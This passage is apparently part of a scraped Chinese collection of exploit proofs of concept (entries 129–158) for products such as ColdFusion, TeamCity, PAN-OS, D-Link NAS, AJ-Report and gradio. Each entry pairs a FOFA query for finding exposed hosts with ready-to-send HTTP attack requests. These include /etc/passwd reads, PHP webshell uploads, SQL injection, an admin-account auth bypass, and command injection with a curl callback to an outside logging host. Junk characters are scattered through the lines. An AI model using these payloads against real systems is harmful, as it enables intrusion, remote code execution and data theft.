Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
7 h2 J# o( N7 APAYLOAD
' b9 Q2 v' ~# w5 u( Z' c
129. Adobe ColdFusion 任意文件读取
. U  b9 O7 y- i  U/ D  lCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
9 b, s3 B( f8 Y+ \9 v- DGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
% u- V2 z; H1 L( H1 _Host: x.x.x.x
+ r4 o% L+ F( B3 x! v: {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

* z% l2 D' ]! r$ `1 m& C2 y$ D
# Q0 E' I8 U% {! U, n4 ~0 R第二步，读取/etc/passwd文件
2 P0 Y$ \# S& ?- R1 wGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
; o. Z0 K5 a; L8 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
/ s3 U4 I7 B9 P4 C2 AAccept: */*
Accept-Encoding: gzip, deflate
Connection: close
( Z8 z: K' a! suuid: 85f60018-a654-4410-a783-f81cbd5000b9
& z0 z, c& i" m
( r/ S# u: Y; w  p
6 o; n, z7 T9 F( \4 }& }130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
+ N& r7 c: V6 O: XHost: 127.0.0.1
, N8 m1 Q+ ^  |" n0 X. gAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
/ s% ^/ M3 J8 _/ [  C1 HUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
# B7 q' y" G) I. W# V, G4 OCookie: user_name=1; user_id=3
Connection: close
' w. s: H/ \4 [$ Q1 H
. n+ D4 G: n% i- I4 q------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 c; o4 a; K% E5 P: fContent-Disposition: form-data; name="file"; filename="1.php"
+ k* P# ^6 x2 U7 [4 tContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
1 c9 H7 z- E! P& \6 P0 _

+ B6 {2 A2 ^# E( m/ `131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
  j5 ]* I+ y  s, O& L  U后台地址：http://localhost:8080/tmall/admin
' E$ t! K  p3 ?2 }( Rhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

: ?$ C$ s" b6 T% F# o132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
% ^- @& x! i: H! @( v' pCVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
# g# U0 Y7 L/ R2 FHost: 192.168.40.130:8111
/ C5 z$ e2 x0 j; f  y# G  }# DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ E, V7 {( x9 U- }: {% b; U0 Q) \Accept: */*
* g* g' J! ]' W' D" ?4 X  Z0 {Content-Type: application/json
0 G  A$ `$ i1 @/ H  x% o  M3 ZAccept-Encoding: gzip, deflate
: V+ p; w: Q: p5 ?0 p
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


' H% y  L) o) ?7 CCVE-2024-27199
/res/../admin/diagnostic.jsp
; O  z  u. V* i/.well-known/acme-challenge/../../admin/diagnostic.jsp
2 B6 p4 W- {: K" ]+ Y& ]2 [/update/../admin/diagnostic.jsp
9 ?% \7 l: O" c

CVE-2024-27198-RCE.py
' \- R4 L* @/ z4 H2 A
133. H5 云商城 file.php 文件上传
: M' _9 N) ]3 s3 K- [FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
$ A# A) y4 J% [$ p0 B) a! WHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
' v1 L* \4 k# @Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

4 l  q7 E/ i- v4 y  e------WebKitFormBoundaryFQqYtrIWb8iBxUCx
3 n5 T  y9 g- Q  V& FContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
0 B$ b$ `5 d. l( o7 _: k: {
7 N2 Y4 a$ B- N<?php system("cat /etc/passwd");unlink(__FILE__);?>
" c: J" l& ~) V8 h------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
; |& U" J& T  T- l) `* Y. a0 i
6 b, e- @; Q% W5 b5 v: B
# i3 f9 k* ^+ G
134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
8 m9 I6 E& g: b* }Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
+ \* X; k1 J7 j. B" J4 o$ oPOST /protocol/index.php HTTP/1.1
5 s; n  M+ Q5 J1 sHost: x.x.x.x
  V3 N8 @2 ]4 {: G! n% A, Y8 zCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
4 T% ]4 [- Z) b6 i9 ~0 Q1 N! tAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; u# k+ W/ o5 {Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
9 c* _7 ?# p) c5 H3 {! t" TConnection: close
5 @9 p5 Y5 v' d1 R; z3 rContent-Type: application/x-www-form-urlencoded
8 w' e8 m) l$ q% U- {Content-Length: 263
8 m  c3 G# b" o: s- k
# Z- i! p' P  S8 ?" ?jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
6 z' G5 x6 @; L' K7 ~+ n
3 w* q9 V( U. L$ o. A7 O: s
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
$ ~; h5 ?- w0 SNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 ~1 P0 U3 {5 _. Z( Y; _GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
. K! N; J: z, u' h4 aHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

7 h2 X" M5 M$ M1 C" J( `
136. NextChat cors SSRF
3 Q+ _: p6 x. q& w0 a& d2 lCVE-2023-49785
; \4 I& R9 K  [. d- GFOFA：title="NextChat"
4 \. u0 j# K. I5 c( N6 n! HGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! L3 H$ w1 }8 kConnection: close
. o) ]+ B2 y* lAccept: */*
Accept-Language: en
Accept-Encoding: gzip

' `0 F' }" n: o8 P% ?1 b( f
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
7 U& B# l* S- z& p) qFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ V8 f5 I% b# y7 d9 T/ S) LGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
! ^; H- d# e( y  D: I) aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( U0 n2 Y/ k" i+ MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& Z6 v" k. l7 CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# X# {% j6 j- _" R& Z, FAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
. ^+ F8 X! Z5 V3 N- J& l2 O

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- L0 k& C! v# W* a: _8 K1 ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( i+ a/ g  ^% E) h# Q' Z$ sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
# x# D( N$ y4 J, n, d! g: i

& e/ R; r( _, J6 A1 O' k139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
2 G* Y& m/ B4 I. gFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% C5 I1 {- j' n- j, `3 ]4 n( pGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
! j: K" {% H4 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 U- G+ m8 z- `! W- O# P( _Accept-Encoding: gzip, deflate, br
! u4 s6 l! w) B- ~9 @1 jConnection: close
% s. O1 ]8 d- J9 tCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
) q0 J6 f+ y1 m' z: \Upgrade-Insecure-Requests: 1
) @8 M( L7 l6 w5 @
) n/ |5 {2 v4 o- d# E* [; t% U8 x
5 j0 ]. D, }5 h) {7 k& j2 V140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
9 X- L$ {9 U  P' PFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
) U! G7 r, z" {' h& W: wHost: x.x.x.x
. @/ J9 P8 I7 T1 S% Y% U8 d; \8 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 b2 Z+ a* Y' U( \0 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
; w# E$ p& `) x3 ^Upgrade-Insecure-Requests: 1
+ p" x3 p3 n+ V- f) C# f+ v- F8 Y

141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
1 \$ J$ k8 a* f1 g; `. OFOFA：body="指挥调度管理平台"
8 o, b- k: b1 @- c% UPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
4 I  D) W+ A" ^; d9 \+ QUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
- x" v! S7 F5 @6 ~1 @( O8 BContent-Type: application/x-www-form-urlencoded

( q7 f/ }1 K- {
* q5 c8 M$ L' N0 C2 ?. tdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
8 t  j; e+ H* D$ V& [% D
) j5 j, o# Q$ F8 S+ j$ v3 A
& I% l2 E& P6 m7 H142. CMSV6车辆监控平台系统中存在弱密码
- q3 @# U; J! m/ D3 bCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
' l' m9 a- d) E3 I1 RFOFA：title='AP setup' && header='netis'
PAYLOAD
' d0 q) Y  f, h% I! u
5 Q9 n( l6 C7 ?" ]144. D-Link nas_sharing.cgi 命令注入
" V9 X+ f! S1 N3 OFOFA：app="D_Link-DNS-ShareCenter"
: H/ @/ b0 X! l, H3 {7 Bsystem参数用于传要执行的命令
- _/ j9 B# {, w- h1 D' |: y+ ?0 z  TGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
, W9 O# q1 }' g& _/ z6 |/ e0 WHost: x.x.x.x
( J; S" M3 x. ^User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
, t3 `! G$ j! }+ S  h/ X5 j, VAccept-Language: en
Accept-Encoding: gzip
/ M% k5 \* C, f9 T
% |7 ~. i+ b" ^
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
( f1 P! R4 v0 O2 a5 PFOFA：icon_hash="-631559155"
. B$ U& e6 ?! M+ X7 sGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
! C( }7 S$ ?" m' ~5 r  J0 _; [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
5 m5 ~6 ]# l  v& k4 [' ?2 t- tConnection: close
3 D. d( s4 C) K& gCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
# P* V7 Z/ D$ z% W3 X3 }Accept-Encoding: gzip
4 v" `9 j* v2 v" I) a- h

$ G* v6 r. r4 w146. MajorDoMo thumb.php 未授权远程代码执行
5 q5 \) i3 M+ w, E3 iCNVD-2024-02175
FOFA：app="MajordomoSL"
/ a3 F# @% m, a0 B: p6 ~% SGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
, d1 x' N5 [5 ?) t. sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
' @0 [1 O% i8 _Accept-Charset: utf-8
) E$ B& C' S* m1 @0 ]* TAccept-Encoding: gzip, deflate
Connection: close
" V/ x; N8 D$ Z6 Y/ W

147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
# d- G! C$ m3 Y! t- w+ y5 nCVE-2024-32399
FOFA：body="RaidenMAILD"
6 J1 A' I1 |2 x5 D, W) iGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
9 Q1 v$ M" l) [9 i- ^: kCache-Control: max-age=0
/ h- n# D! Q3 Q. wConnection: close

( z; q+ U( r, T0 `4 g# L0 y
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
. \! s( X  z* `. j- c2 \7 O1 p, v7 KFOFA：body="CrushFTP"
& u5 z7 Q' H7 T2 W0 B, |6 IPAYLOAD
/ x9 Z4 Z5 a8 l5 L, C8 P$ D
149. AJ-Report开源数据大屏存在远程命令执行
+ o- i. x) |9 b8 j$ OFOFA：title="AJ-Report"

7 `1 H" ?; ]: z1 ~# L' ePOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
5 l+ R  i" E0 C* QHost: x.x.x.x
& q* c* H" J% U) i; {! }. `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
+ t2 x: P, z# n" L) H; D; L% AContent-Type: application/json;charset=UTF-8
Connection: close
3 t/ m, M& p2 r/ h- P) J+ G3 i
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
- D6 O. V; a: Q# M( F/ j5 K
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
8 `# ]% L6 B$ y5 R4 TPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
6 ^$ n  U0 ]9 S# `( fHost: x.x.x.x
  Q+ }" s9 N0 c3 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 l1 V8 \& R( Q8 u+ Q  QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& Y. F7 a) L1 v! p2 U2 h' SAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
" R( {4 {& J% e% UContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
- H. F: ?+ P8 _* O2 ^* s
' }" M8 o9 S6 V+ ^0 Q) j
4 x+ J& W% V2 T9 U151. AJ-Report 1.4.1 pageList sql注入
5 c% c' q  H* z9 lFOFA：title="AJ-Report"
0 Y4 z, d. D( @7 z2 JGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, a1 B. V0 g: C+ B2 t0 [2 lConnection: close
Accept-Encoding: gzip


152. Progress Kemp LoadMaster 远程命令执行
& _, ~8 j& e2 N' \6 Q9 \CVE-2024-1212
% h4 Q7 a( R4 M6 S/ p& MLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
4 A; i2 @+ ~, d/ t5 C6 w+ zFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
- L' X' J+ H& @6 pHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
/ P0 q8 r5 I0 \8 S3 ?Connection: close
" t1 s% c& X3 P& n* jAccept: */*
Accept-Language: en
# k' r8 K6 T7 cAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
$ H3 {2 d. L; h7 x+ c
% r& p$ u8 {" [% p/ O  ?- p9 I+ `
% z  H1 D3 m3 O5 X153. gradio任意文件读取
' R! F4 C8 Q2 Y- X, ]- lCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
2 g$ E0 s  C$ y! b6 W' f) o+ u. [http://x.x.x.x/config

% k- K2 [9 M$ m
4 d9 e5 D% I1 z4 t第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
, A. n3 J& ?5 K$ G& S2 ZHost: x.x.x.x
. c/ N! P5 C; [6 D! C" JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
- h/ x! B7 S/ W- f# B4 y# n* ?+ R% PConnection: close
2 J; f5 I9 J, _' Z% EContent-Length: 115
+ w- _5 g1 |( ~) j5 \Content-Type: application/json
, R  g- \! [6 eAccept-Encoding: gzip

1 Q- ~0 x3 n  u! E  n. f' G% w{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


: e, a; s& D3 N* a# e* j第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
- X( b& p6 B5 d
" y1 A4 D4 M/ g- x  e2 a
/ O. O, u& Z8 y  g' R154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
1 |0 u: D! f! ?, Q! g3 V" T0 kPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
$ I3 t6 g1 b. GOrigin: http://x.x.x.x
9 S2 ^2 v9 d6 q9 AContent-Type: application/json
8 ^/ p8 F5 k  X5 ]- ]9 IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
0 I) Y( ~0 I: z, UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
* J$ y% Z8 A3 n1 g* _7 vAccept-Encoding: gzip, deflate
4 B* y9 d& _. Z2 z& A* {  }, Y$ kAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
3 v7 {* y: [( @  j7 ?: r) M+ rConnection: close
* l3 N! a# q$ t/ T* M
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
% K; p; r% o7 K3 s; t# U

155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
$ r4 l, p* b9 ?( QFOFA：title=="上网导航 - LyLme Spage"
7 ?& ^  x4 o6 F; u6 FPOST /include/file.php HTTP/1.1
Host: x.x.x.x
0 g; o  Y5 ]4 a$ [) c6 e3 \% qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
% `7 F" m; C7 W  G0 \- m& YContent-Length: 232
1 A6 K; w4 M1 a2 w: ZAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ o9 M0 G5 c2 G4 K( FContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
% @4 s0 W9 ?9 \2 d* M0 [
3 o7 v5 R* Q9 q! U3 f-----------------------------qttl7vemrsold314zg0f
- z2 x& J! }$ d; dContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

$ ?0 f$ ?& h% n0 o' h  Z<?php phpinfo();unlink(__FILE__);?>
$ ]5 u  _% ?2 u) R& r! T# o; a-----------------------------qttl7vemrsold314zg0f--


. t& M# @+ c3 v% e7 ]- e) u4 t访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
. L/ S) G* E% Y% ]
4 d* A1 [9 V6 M  Y* ~156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

* U- q$ E; x0 g4 s  e
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
3 @) R) J& W% ]User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; S. Q; I+ j' r, YConnection: close
; Q1 |4 u7 j3 e8 F& J% \9 IContent-Length: 0
: z- K( U! D) I5 V1 J& L0 V' uCookie: uid=1
% I) g- L5 B2 v! r  rAccept-Encoding: gzip
- s8 j3 v/ \# z7 N7 O
7 P1 O' I9 a9 H: h3 V1 H& u3 P
! \  A2 z* p# s( K$ `' w* r157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
/ j! c6 P! e2 U- p* l& [Host: x.x.x.x
, V6 X7 a4 c; z6 P& VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
: ]# d! I5 d9 k8 x( |4 dContent-Length: 709
# I2 L9 x8 U. N7 p! lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 O. y  F+ H! [. S9 Z$ e) IAccept-Encoding: gzip, deflate
8 u  q3 ~/ }$ m8 R) g) L& FAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
5 [9 R0 g! q+ Z. q4 o( iUpgrade-Insecure-Requests: 1
( v/ q# a/ C3 @0 Y
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
/ U: x7 F4 f2 }0 B( O9 mContent-Type: application/octet-stream
( `: A' o' Z$ a" R3 ?; A" B' V
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
/ q0 W8 A9 Z% A* s" t* C
null
& i; K0 s* A- [& s0 d* S------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
& V% U; v& |# f& J
% j7 R8 m; m( m( {null
------WebKitFormBoundary1imovELzPsfzp5dN
# D/ H: m+ P1 d9 b. W7 b( m7 ?Content-Disposition: form-data; name="field"
/ ]: b5 [/ P" x+ @, [
null
------WebKitFormBoundary1imovELzPsfzp5dN
6 G/ _5 t. a3 j- D% pContent-Disposition: form-data; name="filetitile"

null
; q- c  X3 `0 k" X: K------WebKitFormBoundary1imovELzPsfzp5dN
3 P0 c  a. o1 _' `1 eContent-Disposition: form-data; name="filefolder"
$ v5 t& Q/ y. [# Q: C9 Y6 Z
' _8 ?& V4 [' _' I# v( Qnull
------WebKitFormBoundary1imovELzPsfzp5dN--


+ Z5 Q6 g* q, J4 bhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

# Z3 o; z3 E! ^9 Q, u' z: B5 u158. Mura-CMS-processAsyncObject存在SQL注入
; ?% ?! J( g" Y8 ?& j. SCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
